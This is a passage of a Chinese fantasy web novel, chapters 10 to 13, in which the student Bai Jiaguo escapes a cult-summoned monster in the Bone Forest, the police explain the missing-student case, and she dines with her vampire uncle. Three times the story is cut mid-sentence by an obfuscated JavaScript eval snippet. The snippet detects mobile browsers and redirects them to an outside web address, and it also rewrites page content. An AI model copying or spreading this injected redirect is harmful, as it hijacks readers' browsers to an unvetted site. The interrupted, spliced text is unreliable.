终于能和别人分享自己的壮举，煅嘉以脸上浮现出少有的兴奋：“祂不是怪物，祂是我召唤出来的神。虽然祂有点挑食，只愿意吃美好善良的灵魂，但是没关系，我会替祂准备好一切。” 昨天下午他弄坏了自动贩卖机，白佳果不仅没责怪他，还愿意陪他等维修工，请他喝果汁，之后又救了那渊他们，很符合美好善良的标准，那些为了救白佳果而散落在白骨林各处的学生，应该也会令祂满意，让祂逐一吃个尽兴。 就是攻击性太强了，不如白佳果，不会魔法，毫无反抗之力。 煅嘉以：“来吧，我带你们去见祂。” 天族女生没动：“是带我们去喂它吧。” 煅嘉以回头，金属圆球发出的红点集中落在天族女生的额头：“不走就死在这里，跟我走还能再活一会儿。” 天族女生咬了咬牙，不得不带着白佳果跟煅嘉以走。 天族女生还安慰白佳果：“他闹这么大，学校肯定很快就会有行动，你别怕。” “好，我不怕。”白佳果一直在留意她的耳朵，发现她用了几次治愈魔法都没能把血止住，担忧地问：“你的耳朵怎么治不好？” “这里是白骨林，黑暗元素克我，问题不大。”天族女生摸出一瓶圣水，让白佳果替她倒一点在受伤的耳朵上。 果然圣水一倒，血就止住了，白佳果还想再倒一点让伤口愈合，天族女生低声让她把圣水收起来：“你拿着，防身。” 这年头哪里有什么正儿八经的神，多半是连人形都没有的邪物，说不定圣水能起点作用。 煅嘉以没有管她们在背后的小动作，因为他试过，无论是圣水还是地狱之火，都伤不到祂分毫。 白佳果握着玻璃瓶装的圣水，上辈子第一次进白骨林的时候，那渊也是不知道从哪给她弄了一瓶圣水，让她随身带着，因为白骨林黑暗元素充沛，到处都是黑暗系的魔法生物，如果遇到了危险，圣水绝对能派上用场。 但他们运气很好，除了她跟宿谬迷路，她的脚因为误踩恶魔藤扭到以外，没有发生别的意外。 ……真的是运气好吗？ 白佳果问走在她们前面的煅嘉以：“你假装贫困生，告诉那渊他们失踪的学生曾经在白骨林出没，就是为了把他们骗进来当你那个什么神的口粮？” 就算要死，也得让她死个明白吧。 10.第十章 煅嘉以走在前面，闻言没有回头，也没有问白佳果是怎么知道的，因为他不在乎：“嗯，他们也拥有善良的灵魂。明明关系很差，发现我有困难还是停止了争吵，一块来帮我。” “不过我没骗他们，我确实在白骨林遇到了第一个失踪的学生，我只是没告诉他们，我是看着那个学生死的。”煅嘉以说着，突然转过头，想要从背后偷袭的天族女生悻悻然收手，白佳果也遗憾地叹了口气。 天族女生望向悬浮在空中的金属圆球，明明没有被注视的感觉，说明金属圆球不具备监控功能，但不知道为什么煅嘉以就是能察觉到她的举动。 难怪敢背对着她们走前头。 “他们没有辜负我的期待。”煅嘉以把头转回去，继续往前：“他们同情我，信任我，又放不下失踪的学生，于是进入了白骨林进行调查。” “他们本该是最好的食材，可惜了……” 所以无论是上辈子还是这辈子，第一次进入白骨林的他们都本应该成为怪物的盘中餐。 可现实是他们安全走出了白骨林。 有人阻止了怪物。 白佳果脑子里闪过一双绿色的眼睛：“你……” 白佳果不敢相信自己脑海中浮现的猜测，但她想不出别的可能：“你和赛溪不是一伙的，是赛溪救了那渊他们？” 聊到这里，煅嘉以都有些惊讶了：“这么快就猜出来了吗？” 一旁的天族女生也发现，白佳果虽然弱小，但脑子很好使。论坛里的帖子她都有在追，结合目前听到的，简直信息量爆炸。 白佳果没注意到天族女生向她投来的好奇目光，她沉浸到了自己的思绪里，顺着捋下来的思路继续推测：“赛溪是不是知道你和怪物的关系，所以昨天晚上你一出现她就袭击你。” 白佳果的视线扫过围绕她们的金属圆球：“而你明明有能力和她对抗，却什么都不做，你知道教授进入了白骨林，你是故意的，你想让我们以为赛溪会为了活下来不择手段无差别攻击所有学生，你破坏了我们跟赛溪好好交谈的机会，你怕赛溪把你干过的事情都说出来。” 煅嘉以没有再回答，他的眼珠子朝左边转动，挪到眼角的位置，明明是走在前头看不到白佳果的角度，却又仿佛在凝视着她。 白佳果：“我说对了是吗？” 煅嘉以没有继续像影视剧的反派那样，顺着白佳果的话将自己干过的事情一一陈列，他干脆地截断了这个话题：“对不对都改变不了一个事实。” “你们会死在这里。” 煅嘉以停下脚步，她们被他带到了一个没什么特别的地方，树还是那些树，石头还是那些石头，在林子里怎么走都是这样的场景。 但天族女生感觉呼吸有些困难，这里的黑暗元素，浓得有点超标了。 煅嘉以从口袋里拿出一枚用血画满咒文的铃铛，摇了摇，林间突然就刮起了风。 黑色的魔法元素进一步聚集，天族女生难受地拉住白佳果，想要带她逃离这里，结果没跑出去几步，白佳果似乎踩到了什么，脚踝一崴，整个脚都陷了进去，同时一枚子弹擦过天族女生的脖颈，数枚金属圆球拦在了她们面前，红点落在她们身上，威胁意味十足。 天族女生咬牙，这时再回头，身后聚集的黑暗元素已经凝成一团，流动的黑色雾气中能隐约看到两双奇形怪状的蹄子和数不清对数的翅膀，还有什么在雾气中一眨一眨，是如繁星一样多到骇人的眼睛。 在论坛里被提到的怪物，此刻出现在了她们的眼前。 白佳果无暇惊叹，她低头盯着自己陷进恶魔藤里的左脚，一直被忽略的记忆就这么猝不及防地浮现在了她的脑海里。 “不会吧……”白佳果意味不明地呢喃着，抬头找了找，在不远处找到了一块很适合坐下歇脚的石头，跟上辈子她扭了脚后坐的石头一模一样，这令她握紧了手中装有圣水的瓶子。 那只足足有三米高的怪物朝她们走来，沉甸甸的压迫感令天族女生感到绝望。 难道只能被吃掉了吗？ 突然白佳果把自己手从她掌心抽了回去，女生低头，就见白佳果蹲下身，不知道在凌乱的杂草乱石间扒拉什么。 她刚想问，耳边“咻——”地一声，一支打磨尖锐的树枝破空而来，扎进怪物身上的眼睛。 天族女生朝树枝射来的方向看去，她看见穿着小一号男生校服的暗夜精灵站在高高的树上，紧紧盯着底下的怪物。 是赛溪！ 怪物吃痛嚎叫，发出的声音令人感到不适。 “不要管她！”煅嘉以冲着他的神明喊道。 可他的神没有听他的话，猛地冲向赛溪所在的方向，一头撞到树上，将粗壮的树干拦腰撞断。 赛溪从缓缓倾斜的树上一跃而下，她用手里另一根尖锐树枝扎透怪物向她扇来的翅膀，可怪物的翅膀太多了，即便她扎透一只，踢开另一只，还会有第三只挥上来，将她狠狠打开，在她的衣物和皮肤上留下灼痕。 被打开的赛溪撞到树上，落地后爬起来，又利落地跳到附近的树上折下树枝，继续攻击怪物。 她的想法是，现在的自己不会死，只要能拖住怪物，那些被盯上的学生就能逃走。 赛溪专注怪物，没注意到白佳果和天族女生那边的金属圆球分了大半到她这里，危险的红点不仅落满她的正脸，还有她的后脑勺。 “小心！！”天族女生的嘶吼在阴气森森的树林里传开。 于此同时，数枚子弹射出，旋转着冲破空气，要把赛溪的脑袋射成筛子，就算赛溪不会死，重新凝聚新的躯体也需要时间，等她再过来，白佳果和天族女生的灵魂恐怕早进怪物的肚子里了。 然而这些子弹没能依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508464|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照煅嘉以的意愿将碍事者驱离，它们在还没有靠近赛溪的半空中，接连炸开。 满身灼伤的赛溪也被一道飞来的绳索捆住，接着被拉开到远离怪物的位置，而将她拉开的人，是一个身着警服的精灵。 警……服？ 天族女生一愣一愣的，是金属圆球掉落在地的声音让她回过神，低头发现那些包围她和白佳果的金属圆球被悄无声息地削成了两半，切口处还噼里啪啦地闪烁着电流。 转过身，一个穿着执事服的灰发混血出现在白佳果身后，她替白佳果驱赶了脚踝上的恶魔藤，还想拉白佳果起来。 白佳果不肯，她坚持认为地上有什么，但在救援赶来后，她的态度明显松缓下来，不像刚才那么着急，仿佛这是她能抓住的最后一根救命稻草般，恨不得挖地三尺。 一大群警察从四面八方冒出来，他们分工明确，一边将煅嘉以摁住，戴上手铐，一边将躁动的怪物包围。 局势逆转太快，天族女生都不知道自己该做什么反应。 所以这到底是…… “受伤了吗？”一个胡子拉碴嘴里还叼了根烟的魔族慢悠悠走过来，问天族女生。 天族女生认出这是他们学校的体育老师，出了名变态的那位，体育课选项目她都要打听打听这位今年教什么，然后退避三尺，如今见到却是格外令人安心。 她摇了摇头：“你们怎么、怎么这么快就找过来了？” 她还以为自己死定了呢。 “啊，因为有人预判了危险，提前向能锁定自己位置的人发出了求救。”语调散漫的魔族老师歪了歪头，视线转动，深紫色的眼眸中倒映出地上蹲着的白佳果。 白佳果被煅嘉以纠缠的时候，假装用手机确定时间，飞快给空想雅和她大伯发了条信息：【定位我】 发给空想雅是以防万一，免得大伯错过了信息，至于为什么要发给大伯。 白骨林内没有信号，手机定位肯定没用，但白佳果身上一直都有她大伯施加的翻译魔法，魔法的连接让泛理能随时确定白佳果的位置。 平时泛理当然不会随时随地监控白佳果的下落，可当他收到白佳果的信息后进行定位，发现本该在上早课的白佳果出现在失踪案发生的白骨林内，自然一下就能明白这是求救的意思。 虽然大老远他赶不过来，但正好空想雅还在学校门口。正好昨天空想雅被拦在校外后，他就找校长商量，捐一栋楼，只要学校给空想雅一张随意进出学校的陪读通行证。又正好，他有个曾经的同班同学，从警队负伤退下来后进了第一学院当体育老师…… 魔族老师想到自己一大早就被泛理使唤来救人，即便他说警队那群年轻的家伙能行，对方也要求他亲自来，不满地啧了一声。 当初是谁冷漠无情到连亲手养大的弟弟都能踢出家门，怎么对侄女就护成这样？ 11.第十一章 白佳果这辈子对魔法世界的认知，远比上辈子要多得多。 因此她有一个大胆的猜想—— 上辈子那渊等人第二次进入白骨林没有遇到煅嘉以召唤出的怪物，会不会是因为他们第一次进入白骨林时发生了什么，从而导致后续差异的发生。 第一次进入白骨林，上辈子和这辈子最明显的区别就是，一个她在，一个她不在。 她在的情况下，宿谬与她一起迷路，她误踩了恶魔藤，扭到脚踝的同时，也被恶魔藤缠住了脚。 宿谬说恶魔藤喜欢长在有黑暗元素的地方，最擅长缠住猎物，会把小型猎物绞死，体积大一点的猎物绞不死就困住，饿死了再拖过去一点点吃掉。 恶魔藤的弱点是怕火。 她一听，巧了吗不是，她有打火机啊。 然后不等宿谬出手，直接用了打火机——这不比魔法方便？ 结果比她想象得要糟一点，被点燃的恶魔藤松开了她的脚，但在恶魔藤烧光后，风将星火吹起，点燃了边上的杂草。 宿谬无论怎么用水系魔法泼洒都无法将火熄灭，拿过打火机看了一眼：“地狱之火？难怪，只有圣水能浇灭它。” 白佳果：“……” 所以这个东西不是魔法世界的品牌噱头，是真地狱之火啊。 好在白佳果有圣水，这才避免了放火烧林的悲剧发生。 “对不起。”白佳果为自己的冲动道歉，宿谬脸上挂着一如既往的笑颜，宽容地原谅了她的冲动。 “真的没关系吗？”白佳果还是不安：“因为你看起来，像随时会丢下我这个累赘走掉的样子。” …… “你在找什么？”魔族老师走到白佳果面前，弯着腰好奇地问。 “你们……”白佳果也不嫌脏，用手拍了拍杂草丛生乱石一堆的地面，问：“你们不觉得这里有点奇怪吗？” 魔族老师：“哪里奇怪？” 那边警察跟怪物打得不可开交，这边空想雅盯着被白佳果扒拉过的地面陷入苦思，天族女生也看了半天，实在看不出有哪里不对劲。 白佳果也看不出来，她这么说其实是想借这几个人对魔法的感知，替她确认一下。 谁知道他们都看不出异样。 白佳果泄气，就在她怀疑自己是不是想太多的时候，她扭头看到了被控制住的煅嘉以，对方死死盯着她，表情有些不对，但依旧保持沉默。 白佳果把心一横，问魔族老师：“老师，你抽烟用的是地狱之火吗？” 魔族老师叼着烟，说话的时候烟灰往下抖落：“啊，因为用地狱之火不会产生二手烟。” 就是因为这个！导致白佳果发现双胞胎弟弟少络听身上有地狱之火的打火机，第一反应就是这小子抽烟，所以没收了打火机，并不学无术地以为“地狱之火”这个称呼是商品噱头。 谁能想到听起来这么酷炫的地狱之火应用到现实场景的好处是不产生二手烟啊！！ “那打火机……或者你能把烟借我吗？”白佳果跟他借火。 “虽然不知道你的目的。”魔族老师从口袋里摸出一盒火柴，递给白佳果。 看白佳果抽出一根火柴，斟酌着要点哪里，魔族老师真诚地问：“你是想把林子点了吗？” 白佳果：“有圣水，能灭掉的。” 一直在围观的天族女生赶紧从储物空间掏出另一瓶圣水：“不够我这还有。” “噫。”因为属性相克，魔族老师一脸嫌弃地躲开。 他不再管白佳果，转头去看警局的后辈抓怪物。 怪物身上的黑雾越来越少，露出的模样也越来越清晰。 怪物是暗火属性，攻击时全身高温，光是触碰就会造成灼烧伤害。怪物背上胡乱生长的翅膀色泽斑驳，有黑有灰，每一只翅膀的颜色、大小和生长方向都不一样，眼睛更是大小横竖怎么长得都有，简直比深海怪鱼长得还要随便。 怪物身上那一堆密密麻麻的眼睛不是装饰，其他种族可能感觉不到，但亲近暗元素的魔族一定会有所感知，昨晚失踪学生里的魔族女生也在警方询问时提到过这一点——踏入白骨林时，她感觉自己像在谁的注视之下，但同行其他人都没有察觉，她便以为是自己想多了。 所以为了避免被怪物察觉到他们的靠近从而导致学生陷入危险，他们撤销了禁制，直接用了传送阵。 除此之外这怪物也没什么特别的，应该很快就能拿下。 魔族老师刚想完，怪物突然发出吼叫，声音震得人连灵魂都在颤动，所有人被硬控了几秒，白佳果手里没点燃的那根火柴和火柴盒也掉在了地上。 吼叫的余音在林子里一层层荡开，惊起飞鸟无数，白骨林外待机的人员更是发现有许多黑暗系魔法生物受到惊吓从林子里跑了出来，小的倒没什么，大的就得拦一拦了，不然容易发生意外。 “队长！这小子不对劲！”被控制的煅嘉以在怪物吼叫后失去了意识，他本人的眼睛闭上了，但手臂上、脸上、脖子上长出了一双双和怪物身上一样的眼睛，那些眼睛睁开后胡乱转动，看得人头皮发麻。 “说了多少遍，我现在不是你们的队长。”魔族老师走过去，抓住煅嘉以的头发，把人脸抬起来看了看。 “他把自己的灵魂献祭了，应该是一开始就寄存了一半的灵魂在他召唤的怪物那里，怪物看情况不对把他那一半灵魂消化了。”魔族老师说，“挺好，人已经废了，带回去不用审讯，直接打报告申请抽灵魂看记忆就行。” 白佳果捡起掉落在地的火柴盒，闻言心想果然再挑食，饿到极致也是会吃的。 消化了一半灵魂的怪物实力大增，眼下的人手根本压制不住，外面又得留人控制局面，不让白骨林的魔法生物往外跑。 一时间捉襟见肘，魔族老师掐了烟，舒展舒展筋骨，对空想雅说：“这里不安全，带她们两个离开。” 话落，因为不确定到底该烧哪里而迟疑的白佳果不再犹豫，擦亮了火柴。 她用火柴点燃地上的野草，估摸着等了一会儿，一个被打飞的兽族警察从她头顶飞过去，她打开瓶子，将圣水泼洒在熊熊燃烧的地狱之火上。 另一边，攻击力上升的怪物扬起蹄子就要踩死一个被它从身上甩下来的血族警察，摔断了腰椎起不来的血族及时展开防御结界，可怪物轻松踏碎了结界—— 电光火石之际，魔族老师瞬移过去，一手将自己的后辈从原地拎开，一手凝聚起黑暗元素， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515827|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满身的颓丧慵懒一扫而空，颤动的空气昭示着其强大的破坏力。 然后，怪物毫无预兆地消失了。 魔族老师手中的攻击还没放出去，怪物就不见了踪影，如同被人按下Delete键 ，甚至不需要再次确认，凭空消失。 热火朝天的打斗戛然而止，所有人一脸茫然，摸不着头脑。 魔族老师丢开血族后辈，径直转身走向白佳果，中途还朝煅嘉以的方向看了眼——他身上多长出来的眼睛也消失了。 “你干了什么？”魔族在白佳果面前蹲下，第一次平视白佳果，问。 白佳果指着刚刚被烧过的地方，反问：“你们真的什么都没有感觉到吗？” “没有，但既然你这么说了——”魔族老师抬手，朝被烧过的地面狠狠锤了一拳，将刚刚积蓄却没释放的能量全用在了这一拳上。 地面剧烈晃动，天族女生感觉自己今天算是遭老罪了，被扑面的黑暗元素冲击得想吐。 蹲在地上的白佳果也跟着晃了晃，差点跌坐到地上，好在空想雅将她捞了起来，就是蹲得太久又起得太快，眼前黑了一下。 空气中响起什么东西碎裂的声音，原本寻常普通的地面被破开一层混淆视觉的咒文，咒文用异语构成，这是最接近神族的力量，难怪无人能察觉。 而在咒文之下，一个巨大的召唤阵显露一角，这个角落里镶嵌着为召唤阵供能的魔法晶石，而此刻，那枚晶石已经碎裂报废，整个召唤阵也因此停止运转。 上辈子的白佳果对魔法了解太少，宿谬作为魔法阵应用专业的优等生，他或许学过，知道地狱之火加圣水，可以破坏几乎无坚不摧的魔法晶石。如果被摧毁的魔法晶石正在给魔法阵供能，那么极大可能导致魔法阵短路被毁，需要重新绘制才能使用。 可谁能想到呢，在白佳果用地狱之火点燃又用圣水浇灭的位置，居然正好藏着召唤阵的一角。 而怪物之所以离不开白骨林，需要煅嘉以在外面给它找食物，正是因为它始终链接着召唤阵，没办法离开太远。 上辈子第一次进入白骨林的白佳果无意间摧毁了召唤阵，怪物从那个时候起就已经不在了，所以那渊他们第二次进入白骨林才会如此轻松地救出失踪学生，并且全身而退。 因为那时他们需要对付的，只有本就无敌意的赛溪。 至于为什么怪物消失后还会有第二名学生失踪，白佳果猜测，或许是煅嘉以不甘心，准备重画魔法阵再召唤一次，这次想提前给怪物准备吃的，却没能召唤成功。又或者他就是单纯地放了个饵，想把破坏召唤阵的他们引进去杀死泄愤，结果失败了。 到底哪个才是真实的原因，谁知道呢，白佳果心想，她又不能穿越回上辈子，找一周目的煅嘉以告诉她答案。 白佳果跟天族女生安全离开白骨林，那些因为救她踩进传送阵，被随机送到白骨林各个角落的热心学生们也全被找回，一一送去校医楼接受检查。 他们也好，天族女生也好，都对这次经历感到兴奋，一个个在论坛认领当事人身份认领得无比迅速。 一个星期后，警方发布了一条很长很长的通报，不仅把失踪案的来龙去脉向民众交代清楚，也说明了赛溪的情况。 12.第十二章 警方通报发出时，白佳果正在家里躺尸。 因为倒春寒，她被由冷转热又迅速转冷的破天气给整感冒了，低烧加流鼻涕，整个人都没什么力气。 生病和受伤的治疗方式不大一样，后者多以治愈魔法为主，药物为辅，生病则完全相反，即便是空想雅也建议她吃药治疗。 于是她给自己放了一天的假。 晚上睡前吃药，第二天睡到中午起来，烧已经退了，就是身上没什么力气，吃过午饭后经由空想雅提醒，才知道警方发了通报。 白佳果看了两遍，又结合空想雅那边给的信息和论坛整合的情报，还原出了整个事件：煅嘉以因信仰邪教，在学校的自然保护区白骨林内进行邪神召唤，并献祭了一半的灵魂给邪神。但因为邪神挑食——通报说的是邪神需要煅嘉以为他找来更多灵魂进行献祭——煅嘉以没有当即失去一半的灵魂，而是拥有了邪神所具备的能力，可以感知白骨林内的一切。 煅嘉以因此发现了在白骨林内复活赛溪的那名学生，那名学生姓川，是赛溪的学弟，川某盗取赛溪的尸骨，用违禁的魔法阵复活赛溪。 根据煅嘉以的记忆和赛溪接受警方询问时的回答，川某复活赛溪目的不纯，他打着倾慕的名义威胁赛溪听他的话，不然就不给赛溪提供血肉献祭，延长赛溪的复活时间。 赛溪不接受威胁，并在川某打算强迫她时，直接把川某杀了。 赛溪可是暗夜精灵，在古代，这个种族曾一度被分类进魔族，其天赋战力可想而知。 煅嘉以想找赛溪合作，他表明自己不会像川某那样羞辱赛溪，只需要赛溪帮他，他获得献祭给邪神的灵魂，赛溪获得延长自己复活时间的血肉，各取所需，达成双赢。 然而赛溪又一次拒绝，这次有邪神在，赛溪没能弄死煅嘉以，干脆就用死去的川某的血肉延长了自己的时间，并在之后一次又一次阻拦邪神，帮助被骗进入白骨林的学生活着逃离白骨林。 赛溪和邪神不同，邪神无法离开白骨林，且需要保证自己的召唤阵完整，复活赛溪的魔法阵早就被破坏，她本人却依旧续存，说明她其实是可以离开白骨林的。 但邪神无时无刻不看着她，每次她靠近白骨林边缘都会被发现，然后被驱赶，导致她无法离开白骨林，去向学校说明情况。 后续煅嘉以凭借邪神的眼睛发现了斯笛墨，在斯笛墨面前演了出戏，彻底把她打成了失踪案的罪魁祸首。 好在天网恢恢，因为煅嘉以没有依照他跟那渊等人的约定，在他们进入白骨林三小时还没出来的情况下去找老师求助，心怀不满的宿谬和觉得不对劲的双胞胎都让自己家里去查了煅嘉以，从而发现煅嘉以不是贫困生，他欺骗了他们，于是不再替他隐瞒，向警方说明了全部情况。 警方怀疑煅嘉以故意引诱学生进白骨林，但没有证据，便让辅导员进行联系，准备先找煅嘉以谈谈，结果煅嘉以知道自己暴露了，索性一不做二不休，直接把自己盯上的目标——也就是白佳果，还有那些出手帮助白佳果的热心学生都传送到了白骨林。 被传送的学生分散在白骨林各处，如果不能及时锁定邪神的位置进行控制，谁也不知道吃下学生灵魂的邪神会强大到何种程度，又是否会摆脱召唤阵的限制，逃出学校，成为威胁整个社会的不稳定因素。 通报发出来时，警方已经根据煅嘉以的记忆，迅速捣毁了几个邪教窝点。 煅嘉以的父亲——国际工匠协会黄铜齿轮的会长因为儿子的所作所为，让黄铜齿轮受到民众猜疑，声誉受损，引咎辞职。 至于赛溪那边，她能在世间逗留的时间本就只剩下一两天，因为禁忌魔法阵的特性，她一旦消散就再也无法重新复生。为了方便调查，警方那边加急打了申请报告，请了亡灵管理局的人过来进行评估，看能不能将赛溪转化成不需要血肉献祭的正式亡灵。 关于这部分，空想雅跟白佳果透露了很多，为了控制人口，亡灵复生的名额比较少，条件也很严苛，亡灵管理局会优先通过人族的复生申请，因为人族的种族特征最少，转化成亡灵后对亡灵一族的归属感会更强。 所以就算有案件的压力在，管理局也很有可能驳回申请，或者故意卡流程拖时间，不让赛溪成为正式亡灵。 是失踪案相关学生的家长向亡灵管理局施压，这才让管理局通过申请。 后续案件脉络彻底清晰，无论是第二名失踪学生的家长，还是那渊他们的家长，都表示愿意为赛溪提供资助，作为她坚持本心为人善良的报答。 学校也跟相关部门申请，恢复了赛溪的学位，等她处理完自己的事情后随时可以回来继续读书，届时亦会给她加上这次事件中她救助同学奖励的学分，有人算了算，发现只要她不缺勤不挂科，就能攒够剩下的学分顺利毕业。 关掉和上辈子不一样的警方通报，白佳果长舒一口气。 能还赛溪清白，真是太好了。 她这边虽然因为知道太多也接受了盘问，但作为无法使用魔法的弱势群体，上帝给她关了一扇门又开了一扇窗，让她对魔力的感知敏锐一点，令她发现了隐藏在异语咒文下的召唤阵，听起来也不是没可能。 当然听起来合理是说服不了办案警方的，他们安排专门的机构对她进行了检测，保证她的的确确不会魔法，以及，她对旁人的魔力输出确实有一定的敏锐度。 白佳果自己都惊了，还真有？ 空想雅倒是不意外，从白佳果每次玩魔法世界的抓娃娃机都能通过肉眼观察机器反应，精准判断她的魔力输出是多了还是少了，就能看出白佳果确实有这方面的特长。 总之这一次，事件真正落下了帷幕。 第二天，原地复活的白佳果跟大伯一块吃过早饭，照常去上课。 进入学校一路都能碰到和她打招呼的学生，还有顺路的同学关心她昨天为什么没来上课，不像之前那样对她充满好奇，恨不得把她供起来的同时又不敢随意靠近。 因为失踪案令他们对白佳果有了更多的了解，这让他们很难不被其所吸引。 而这份吸引力的来源不再是额外学分与可爱乖巧的外表，而是她这个人本身。 今天难得比较轻松，上午就一节小课，她上完课回家睡了个回笼觉，醒来挤牙膏一般写了写下星期要交的作业。 快饭点的时候空想雅过来，提醒白佳果早上她跟泛理约好了一块吃午饭。 “来了来了。”白佳果把折磨到她头秃的作业一推，果断起身去吃饭。 上辈子因为大伯话少，导致她一度误会大伯是不是讨厌她，最后这个误会是怎么解除的呢？ 她发现每次她生病或是遇到什么意外，碰到大伯在家的概率就会大幅度提升。 一次两次是巧合，每次都这样，她很难不自作多情地劝一句：“如果你很忙，不用专门回来陪我的。” 泛理：“如果是你爸，他会因为我连他生病都不在乎而发脾气。” 白佳果：“他好幼稚。” 泛理：“他一向如此。” 白佳果：“我没他那么幼稚，所以你不用像对他那样对我。” 泛理：“可我会担心。” 虽然话少，但直球打得是真直。 白佳果接受了自家大伯的关心，并且也关心了一下对方：“血族也会生病吗？” 泛理：“基本不会，但晒多了太阳，或者接触了圣水一类的物质，身体会不舒服。” 关于血族的知识就这么增加了。 大伯这里没有食不言的规矩，所以每次一块吃饭他们都能莫名其妙聊上几句。 血族只能喝血，虽然也有把血弄成固体加以各种装饰的菜品，复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519828|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂点分血型，供血者的种族、年龄、国籍、饮食习惯等，还能整出个前菜、副菜、主菜和甜点热饮。 但大伯更喜欢简单的进餐方式，所以相比白佳果面前摆着的饭菜，他面前只有一杯血。 因为很忙，泛理会在这期间用平板处理一些事物，或者拆看一些突然送来的信件。 白佳果已然习惯，或者说这样才好，不然对方喝完一杯血就走了，那还算什么一起吃饭。 “下个月是双月，想要去哪里玩吗？” 这里的“双月”不是指双数的月份，而是指平时一个月亮的天空会变成两个月亮，多出来的月亮即便白天也会出现，并且研究表明，双月期间不仅是兽族狂躁会加剧，其他种族也会躁动，导致各种矛盾和冲突的发生。 一年四个双月，有两个双月正好在寒暑假，剩下两个双月，几乎所有学校都会采取措施，减少课程，对学生进行另外的安排。 第一学院这边，春天的双月会安排校外旅游，秋天的双月会安排校运会，总之就是想尽办法消磨学生多余的精力。 白佳果不跟班也没参加社团，泛理心想闲着也是闲着，不如让她自己出门玩。 白佳果：“待在家里吧。” 该体验的她上辈子都体验过了，一段时间的高强度学习之后，她当然是选择宅在家里好好休息。 泛理：“家里没什么太阳。” 本来就是容易心情烦躁的日子，作为人族，还是多晒晒太阳比较有利于身心健康。 对哦，白佳果：“那我再想想好了。” 白佳果吃餐后水果时，泛理杯中的血还剩一点，也不知道在平板上看见了什么，他突然问白佳果：“斯笛墨教授请假了？” 白佳果咔嚓咔嚓咬碎口中的哈密瓜，咽下：“嗯，他的课都停了。” 也不知道后续会怎么安排。 “教授他……”白佳果拿着精致锃亮的金属小叉子比划了一下：“他是不是有什么能分辨真话和假话的能力？” 对方能一下子看穿她在撒谎的事，她记到现在。 本来还以为警方会因为她没看宿谬的笔记却知道失踪学生在白骨林而来找她问话，结果并没有，大概是斯笛墨教授替她隐瞒了。 泛理：“‘叛逆的斯笛墨’。” 白佳果：“啊？” “我那个时代的人对他的称呼，现在确实很少年轻人知道。”泛理放下平板，上面是关于几个邪教窝点被捣毁的新闻截图，其中虽然没有提到斯笛墨，但跟着截图一块发来的其中一张现场照片里，出现了斯笛墨模糊的身影，款式古老的白袍与金色的长发，一看就能让人联想到他。 “他曾是侍奉神族的天族之一，神族赋予他能分辨谎言的能力，他却因为这个能力知道太多，产生了怀疑。” “什么怀疑？”白佳果插了一块西瓜，咔嚓咔嚓。 “神明是否真的应当存在于世。” 白佳果：“……” 作为自带信仰的天族来讲，的确很叛逆。 话题本该到此结束，但在泛理喝完最后一口血后，白佳果突然道：“斯笛墨教授没能察觉白骨林被召唤的怪物，甚至就连他自己的藏匿魔法都被那只怪物看破。” “你们这的邪教召唤的东西，都这么厉害吗？” 连斯笛墨这么古老，这么有来头的天族都能骗过去。 “一般不会。”泛理看向白佳果，眼神里多了些奇妙，他继续说道：“很多被邪教信徒称作‘邪神’的东西，都是用各种残忍手法创造——亦或从异世界召唤出来的，长得奇形怪状的怪物。” “也就是说，出现在白骨林的这只怪物，搞不好真和神族有什么关系。”白佳果随口说着，吃下了最后一块水果。 斯笛墨突然离开学校，参与剿灭邪教窝点的原因，找到了。 13.第十三章 步入双月，第一批旅游的学生已经出发，学校肉眼可见的冷清下来，但白佳果仍旧没想好要去哪玩。 果然还是在家宅着好了，没事看看书，啃啃文献，写写作业，做做运动，上上网，一个月的时间眨眼就能过去。 白佳果这么决定的时候，大伯问她能不能代表自己去参加一个生日宴。 那是一个人族老太太的一百二十一岁大寿。 地点是位于拥雪山下的青金湖庄园。 拥雪山白佳果去过，当然也是和那渊他们一块，冬天去的，是她前往遗迹将爸妈救出来前的最后一场集体活动。 至于青金湖庄园，她也住过两晚。 当时就听说庄园曾经是谁谁谁家的私产，直到拥有这里的人去世，继承庄园的小辈雇了经理人，将庄园改成度假地对外开放。 但按照空想雅的介绍，目前的青金湖庄园属于寿宴请帖上这位老寿星，是个不对外开放的私人庄园。 也就是说，老太太在春天过完生日，冬天之前就没了吗，白佳果唏嘘。 反正生日宴的时间和她完全没课的时间能对上，闲着也是闲着，况且上辈子她就听说青金湖庄园春夏的风景比冬天更好，于是白佳果答应泛理，替他去参加这场生日宴。 